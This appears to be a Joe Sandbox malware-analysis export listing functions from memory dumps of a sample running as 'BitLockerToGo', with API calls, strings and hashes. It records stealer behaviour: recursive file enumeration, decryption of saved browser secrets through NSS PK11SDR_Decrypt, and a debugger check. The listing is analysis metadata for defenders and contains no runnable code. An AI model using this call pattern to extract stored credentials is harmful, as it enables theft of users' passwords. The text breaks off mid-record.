API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: db38d3f6450eb17e6eb1cf989597a86a7fe4aec3d975315dbcc3b621e69f4f12
Instruction ID: 1cafc82d2463883f6daa45c12be696e4ae8cbac47933d1907be80cba8097173d
Opcode Fuzzy Hash: db38d3f6450eb17e6eb1cf989597a86a7fe4aec3d975315dbcc3b621e69f4f12
Instruction Fuzzy Hash: 5F637071E0025ACFCB14CFA8C8905DDFBB2FF89310F298269D955AB755E730A946CB90

Function 03014570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 03014580
RtlAllocateHeap.NTDLL(00000000), ref: 03014587
wsprintfA.USER32 ref: 030145A6
FindFirstFileA.KERNEL32(?,?), ref: 030145BD
StrCmpCA.SHLWAPI(?,03020FC4), ref: 030145EB
StrCmpCA.SHLWAPI(?,03020FC8), ref: 03014601
FindNextFileA.KERNEL32(000000FF,?), ref: 0301468B
FindClose.KERNEL32(000000FF), ref: 030146A0
lstrcat.KERNEL32(?,03554CD0), ref: 030146C5
lstrcat.KERNEL32(?,03555930), ref: 030146D8
lstrlen.KERNEL32(?), ref: 030146E5
lstrlen.KERNEL32(?), ref: 030146F6

Strings

%s\*, xrefs: 0301459A
%s\%s, xrefs: 0301461B

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: cbdcc0cc8fc651ccaf0eeff16f95596c7471de35bcbfb4eff1c5d7ddec7d1d06
Instruction ID: 046e718d6d4c459eda111997f90149f24597592214265c127fe4e41929355ebb
Opcode Fuzzy Hash: cbdcc0cc8fc651ccaf0eeff16f95596c7471de35bcbfb4eff1c5d7ddec7d1d06
Instruction Fuzzy Hash: BC5166BA9412189BD764FBB0EC8CFED737CAB58300F408588F60996184EB7497958F91

Function 6CC9ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CC9EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CC9EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CCA1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCA16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CCA1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CCA1A3E

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 1422bd0469ef388628633e4ede38a625fea00d4c8649a32638e566f3f14fadb7
Instruction ID: ca95c9c5d739a1db76de858e90b773d90882f5588eb795bd9917f6ac29b5302a
Opcode Fuzzy Hash: 1422bd0469ef388628633e4ede38a625fea00d4c8649a32638e566f3f14fadb7
Instruction Fuzzy Hash: 9BB32B71E0021ACFCB14CFA9C894A9DB7B2FF49304F1981A9D559AB745E730AD86CF90

Function 6CC8FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCFE7B8), ref: 6CC8FF81
LeaveCriticalSection.KERNEL32(6CCFE7B8), ref: 6CC9022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CC90240
EnterCriticalSection.KERNEL32(6CCFE768), ref: 6CC9025B
LeaveCriticalSection.KERNEL32(6CCFE768), ref: 6CC9027B

Strings

MOZ_CRASH(), xrefs: 6CC90CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC8FE99, 6CC8FEB7, 6CC8FED3, 6CC90DB8, 6CC90DD3, 6CC919B4, 6CC91A10

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bf6f1d582b09be672bc287082aa17ddb637eee461b768a84e3f9522710cc854d
Instruction ID: 4f86ed36641f5b404a6618d4af85cc6104dad6f3017a3906b4c1f296bb840ce4
Opcode Fuzzy Hash: bf6f1d582b09be672bc287082aa17ddb637eee461b768a84e3f9522710cc854d
Instruction Fuzzy Hash: F9B2CF716057418FD714CF2DC591716BBE1BF89328F28C6ACE8AA8BB95E770E841CB41

Function 0300ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0300ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0300ED55
StrCmpCA.SHLWAPI(?,03021538), ref: 0300EDAB
StrCmpCA.SHLWAPI(?,0302153C), ref: 0300EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0300F2AE
FindClose.KERNEL32(000000FF), ref: 0300F2C3

Strings

%s\*.*, xrefs: 0300ED32

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 5829e67df4b3924a13a966775d5c073d8b511469a8acb7d353fa6dcb05bb6893
Instruction ID: 87643f0e0c6d957f6fd4fc353fdaadc99748b959731f8c6301b67035642e5919
Opcode Fuzzy Hash: 5829e67df4b3924a13a966775d5c073d8b511469a8acb7d353fa6dcb05bb6893
Instruction Fuzzy Hash: 8EE10276A132189BEB55FB60DD50EEE733CAF94210F4045D9B40A6A091EF706F9ACF50

Function 6CC9D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCFE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D4F2
LeaveCriticalSection.KERNEL32(6CCFE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D50B

Part of subcall function 6CC7CFE0: EnterCriticalSection.KERNEL32(6CCFE784), ref: 6CC7CFF6
Part of subcall function 6CC7CFE0: LeaveCriticalSection.KERNEL32(6CCFE784), ref: 6CC7D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D52E
EnterCriticalSection.KERNEL32(6CCFE7DC), ref: 6CC9D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC9D6A6
LeaveCriticalSection.KERNEL32(6CCFE7DC), ref: 6CC9D712
LeaveCriticalSection.KERNEL32(6CCFE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC9D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CC9D82C
<jemalloc>, xrefs: 6CC9D827

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 85be8f96ee263245b8d38b65906e858e5da498f3d753a60d734967c03d410330
Instruction ID: 0287df21e281e245434b9980197bda2536af2644375fdbd6ffaf477de9ee9aaa
Opcode Fuzzy Hash: 85be8f96ee263245b8d38b65906e858e5da498f3d753a60d734967c03d410330
Instruction Fuzzy Hash: 2491AE71A047418FD754CF29C49066AB7F2FF89318F14892EE5AAD7A85E730E845CB82

Function 6CC95E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC95EDB
memset.VCRUNTIME140(6CCD7765,000000E5,55CCCCCC), ref: 6CC95F27
LeaveCriticalSection.KERNEL32(?), ref: 6CC95FB2
memset.VCRUNTIME140(6CCD7765,000000E5,CFC09015), ref: 6CC961F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CC97652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CC972E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CC972F8
MOZ_CRASH(), xrefs: 6CC97BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CC9730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC97BCD, 6CC97C1F, 6CC97C34, 6CC980FD

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 043dac2633d9d17f9cda53bffeb84bc3f4d28400056a67d8e8eed21ed03c9ef2
Instruction ID: e426a5658353ebdeb4af2f4077723aa415c4d3cfd8a9c2701aef5d279a2eaad8
Opcode Fuzzy Hash: 043dac2633d9d17f9cda53bffeb84bc3f4d28400056a67d8e8eed21ed03c9ef2
Instruction Fuzzy Hash: D2335D71606B018FD704CF29C590715BBE2BF85328F29C6ADE56A8B7E5E731E841CB81

Function 0300C820 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0300C853
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,03554E90), ref: 0300C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0300C87C
PK11_GetInternalKeySlot.NSS3 ref: 0300C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0300C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0300C8EB
memcpy.MSVCRT(?,?,?), ref: 0300C912
lstrcat.KERNEL32(?,03020B46), ref: 0300C943
lstrcat.KERNEL32(?,03020B47), ref: 0300C957
PK11_FreeSlot.NSS3(?), ref: 0300C961
lstrcat.KERNEL32(?,03020B4E), ref: 0300C978

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: 862e1acf6e3f9cf85f72628cc3602934ee6a6efcdb1147f8d379ed7b65d699f6
Instruction ID: beb389d4308a2aeb168bf5964da5c33b7c4f992ac8f3f8354973dcbc631269ab
Opcode Fuzzy Hash: 862e1acf6e3f9cf85f72628cc3602934ee6a6efcdb1147f8d379ed7b65d699f6
Instruction Fuzzy Hash: BC41627894521ADFEB10DFA4DD8CBEEB7B8BB44304F0042A8F509A6284D7745A84CF91

Function 0300DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,03020C2E), ref: 0300DE5E
StrCmpCA.SHLWAPI(?,030214C8), ref: 0300DEAE
StrCmpCA.SHLWAPI(?,030214CC), ref: 0300DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0300E3E0
FindClose.KERNEL32(000000FF), ref: 0300E3F2

Strings

\*.*, xrefs: 0300DE26

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: ec328dbffc8edab5023f3c53d9c39f60fc92790744c4debdcfb8ccd9ed39dc06
Instruction ID: fad2947b4c8b345d0a091182fef0599d8142aaf5e68966c2fe2a58db1f2416ac
Opcode Fuzzy Hash: ec328dbffc8edab5023f3c53d9c39f60fc92790744c4debdcfb8ccd9ed39dc06
Instruction Fuzzy Hash: 84F1D8759132189BDB19FB60DD94EEE7338BF54310F8041DAA41A6A090EF706F9ACF60

Function 6CCC2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CCC2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CCC2C61

Part of subcall function 6CC74DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC74E5A
Part of subcall function 6CC74DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CC74E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCC2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CCC2E2D

Part of subcall function 6CC881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CC881DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CCC2E3B
expected a Time entry, xrefs: 6CCC2E36
(root), xrefs: 6CCC354F

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: abca9fe1424e6cdfa30422db332c1f413886538537c28fe9b6b690c682f72ad3
Instruction ID: ac0dba2422e15f74908f8a9e035f1b492cfa1d36aec37912a761cea50567d944
Opcode Fuzzy Hash: abca9fe1424e6cdfa30422db332c1f413886538537c28fe9b6b690c682f72ad3
Instruction Fuzzy Hash: 3291CC706087408FD724CF28D4A469EB7F1AF8A358F14491DE59A8B790EB30D94ACB53

Function 6CC7D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6CC7DA88
0, xrefs: 6CC7D852
1, xrefs: 6CC7DBDD
9, xrefs: 6CC7DE7F
0, xrefs: 6CC7DC7F
@, xrefs: 6CC7DAF6
8, xrefs: 6CC7DC08
-, xrefs: 6CC7D7DD

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 58f3f354554180b9f110cd1239fee3644aa212c44ef04af0e7d4a39040008cde
Instruction ID: d60c7dc7283a4fd64e28193427a0c4864d8542680d0bc235110b516475bdfc80
Opcode Fuzzy Hash: 58f3f354554180b9f110cd1239fee3644aa212c44ef04af0e7d4a39040008cde
Instruction Fuzzy Hash: E262AB7160C3858FD721CF29C09075ABBF2FF86358F184A4DE4E54BA91E3359885CBA2

Function 6CC7BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC7C1CB
__aulldiv.LIBCMT ref: 6CC7C24C
__aulldiv.LIBCMT ref: 6CC7C348
__aullrem.LIBCMT ref: 6CC7C365
__aulldiv.LIBCMT ref: 6CC7C37D

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 3fe6fe184255ad6b5af7d305bd2a9d086672a86f6f026cddffdd5468aa6ae7e9
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 2F320332B146128FC728DE2CC890656BBE6EFC9350F09866DE895CB395E734ED05CB91

Function 0301B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0301BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0301BBB7
UnhandledExceptionFilter.KERNEL32(0301F2A8), ref: 0301BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0301BBDE
TerminateProcess.KERNEL32(00000000), ref: 0301BBE5

Memory Dump Source

